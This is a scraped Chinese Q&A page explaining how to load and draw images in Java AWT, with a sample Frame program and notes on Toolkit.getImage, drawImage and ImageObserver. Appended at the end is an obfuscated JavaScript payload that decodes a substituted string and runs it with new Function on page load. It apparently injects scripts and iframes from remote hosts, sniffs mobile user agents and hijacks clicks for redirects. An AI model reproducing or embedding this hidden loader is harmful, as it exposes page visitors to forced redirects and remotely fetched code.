推荐回答(4个)
只能教你怎样加载图像了,图像可以直接绘制到Frame或JFrame或者其他组件上面,下面是具体内容。
加载图像的示例:
import java.awt.*;
import java.awt.event.*;
import java.net.*; //要使用URL类应需要包含java.net包。
import java.awt.image.*;
public class A extends Frame
{
Image im1,im2; URL u1,u2;
public A() { setSize(333,333); setVisible(true);}
public void paint(Graphics g){
//使用java.awt.Toolkit类中的getImage主法来反回Image类型的对象该Image对象包含图片文件所在的地址。
//要注意文件地址的表示方式:可以使用"/"或"\\"来表示文件地址的分隔符。
im1=Toolkit.getDefaultToolkit().getImage("e:/1.jpg");
//使用URL类的对象来设置图片文件的地址,注意URL会抛出异常因此语句应在try块中
//注意使用URL类的对象表示文件地址的方式,表示本地文件的位置时应使用"file:/"的形式开头,后面再跟文件的地址。
try{u2=new URL("file:/e:\\2.jpg");}catch(Exception e){}
im2=Toolkit.getDefaultToolkit().getImage(u2);
//调用Graphics类中的drawImage方法绘制图像。关键概念:Component类实现了ImageObserver接口,因此每个继承自Component类的组件都是一个图像观察者(ImageObserver)
//注意,由im1反回的图片在位置(50,50)处显示,并把图像缩放在长100宽都为100的矩形内显示,其第三个参数图像观察者(ImageObserver)使用的是Frame类本身,因为该程序继承身Framd类,因此是this
g.drawImage(im1, 50, 50,100,100, this); g.drawImage(im2,170,170,100,100,this); }
public static void main(String args[]) { A ma=new A(); } }
java.awt.image包中定义的三个接口(ImageProducer, ImageObserver, ImageConsumer):
首先我们要知道的是,图像的加载与图像生产者(ImageProducer),图像观察者(ImageObserver),图像消费者(ImageConsumer)有关。这三个都是java.awt.image包中定义的三个接口。这三个接口的具体内容这里先作了解,我们只要知道这三个接口在加载图像时的作用就行了。
图像生产者,图像观察者,图像消费者的作用:
首先图像是由一个名叫图像生产者(ImageProducer)加载的,图像生产者的作用就是生产图像的位,并将他们传递给图像消费者(ImageConsumer)。图像消费者接收由图像生产者产生的位。当图像生产者加载图像时,图像观察者(ImageObserver)可以监视其进展情况。因为Component类实现了ImageObserver接口,因此AWT构件就是一类图像观察者,当它们发现图像被完全加载时,它们重绘制它们自身。所以调用drawImage()寄存器中的this构件作为观察者。当图像完全加载时,该构件被重绘制,paint()方法被调用,再次调用drawImage()方法来绘制图像中所有的位。
图像在程序中的加载方式:
1、首先应创建一个Image对象,但不能初始化(因为Image类是抽象的):比如Image img;
2、使用一个能反回Image对象的方法,并把该方法反回的对象赋给Image创建的对象。该方法包含了欲显示的图片文件的路径(包括本地和网络路径)。在应用程序中应使用java.awt.Toolkit类中的getImage方法,因为在Component类中没有关于反回Image对象的方法,要注意Toolkit是一个抽象类。而对于Applet类,则可以直接使用Applet类中定义的getImage方法。
3、然后使用Graphics类中的drawImage方法,将图片绘制到组件上。一般应重载paint方法。
详细介绍图像在程序中加载方式的三个步骤:
关键问题:指定图片的位置
首先应明白的是,在java中文件位置的分隔符”\”被替换为”/”,如要使用”\”分隔符,那么就应这样使用”\\”,即使用两个”\”符号。
其次图片的地址有两种指定的方法,一种是使用String字符串形式,一种是使用URL对象的形式。我们先看第一种
使用String字符串形式指定图片的地址:比如要指定在e盘下的名为1.jpg的图片,则形式为”e:/1.jpg”或”e:\\1.jpg”。
使用java.net.URL对象指定图片的地址:要使用URL类需要包含java.net包,在使用java.net.URL对象指定图片的地址时可以使用URL类中的构造函数URL(String str)来指定图片的路径。其中参数str表示指定的路径,要注意的是这里的路径因为是一个网络路径,因此在指定本地文件的路径时,应以”file:/”的形式开头,比如要该问e盘的1.jpg文件,则形式为try{URL url=new URL(“file:/e:/1.jpg”)}catch(Exception e){},要注意,因为URL构造函数会抛出一个异常,因此应把该语句放在try块中。也可以使用”file:/e:\\1.jpg”的形式。对于网络文件的位置应以”heep://”的形式开头。关于URL中的其他构造方法和其他内容,这里不做探讨,URL类是java.net网络编程的内容。
1、java.awt.Image类,注意Image第一个字母的大小写
首先应注意的是Image类是一个抽象类,也就是说不能直接实例化Image类的对象。因此要使用Image对象就必须从某个方法反回一个Image的对象,该方法反回的Image对象包括了图片所在的路径(位置)。在Applet类中可以直接使用getImage方法,但在应用程序(也就是Frame类中)中应使用java.awt.Toolkit类中的getImage()方法,因为在Component类中没有关于反回Image对象的方法。
2、java.awt.Toolkit类中的getImage方法:
Toolkit类是一个抽象类,因此不能直接实例化Toolkit类的对象,在Toolkit类中有两个版本的getImage方法,即getImage(URL url);和getImage(String str);其中参数url和str都是指定所要显示的图片所在的位置。
使用Toolkit类中的getImage方法的方式:Toolkit.getDefaultToolkit().getImage(“参数”);我们来解释一下原因,因为Toolkit是抽象类,因此要使用Toolkit中的getImage方法就需要靠其他方式。在Toolkit类中定义了一个静态方法其原型为:static Toolkit getDefaultToolkit()该方法反回一个Toolkit类型的对象,而且是静态对象,因此我们可以在程序中这样调用getImage方法:Toolkit.getDefaultToolkit().getImage(“参数”);
3、Graphics类中的drawImage方法
该方法有几个版本,常用的有如下两个:
boolean drawImage(Image img, int x, int y, ImageObserver ob); 表示图像在坐标(x,y)处绘制,当图像已完全加载时反回true
boolean drawImage(Image, img, int x, int y, int w, int h, ImabgeObserver ob);表示图像在坐标(x,y)处绘制,且把图像的宽度和高度缩放到w和h的大小。当图像已完全加载时反回true
以上方法的最后一个参数是ImageObserver(图像观察者)类型的对象,前面我们已讲过,每一个AWT组件都是图像观察者,因为Component实现了该接口,因此可以把组件自已作为该参数。
在paint方法中g.drawimage()啊
那你不处理面板应该不行,不管怎么样画上去的只要在面板下面肯定会被遮上去的,你要么把面板设置成透明要么就把图片中面板覆盖的那部分截出来作为面板的背景(面板也用paint中的g.drawImage),楼下的放JLabel的方法我觉得不行,要是放面板下面起不到作用,放上面那么你面板里面的控件就被Label给覆盖了
知道一个很简单的方法
往对话框上插入一个jLable
然后设置imageIcon为你自己想要的图像 就可以了
不明白 切换面板后图片仍然能显示出来 是什么意思
http://blog.chinaunix.net/u/21684/showart_258857.html
这是例子用的是drawimage()
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();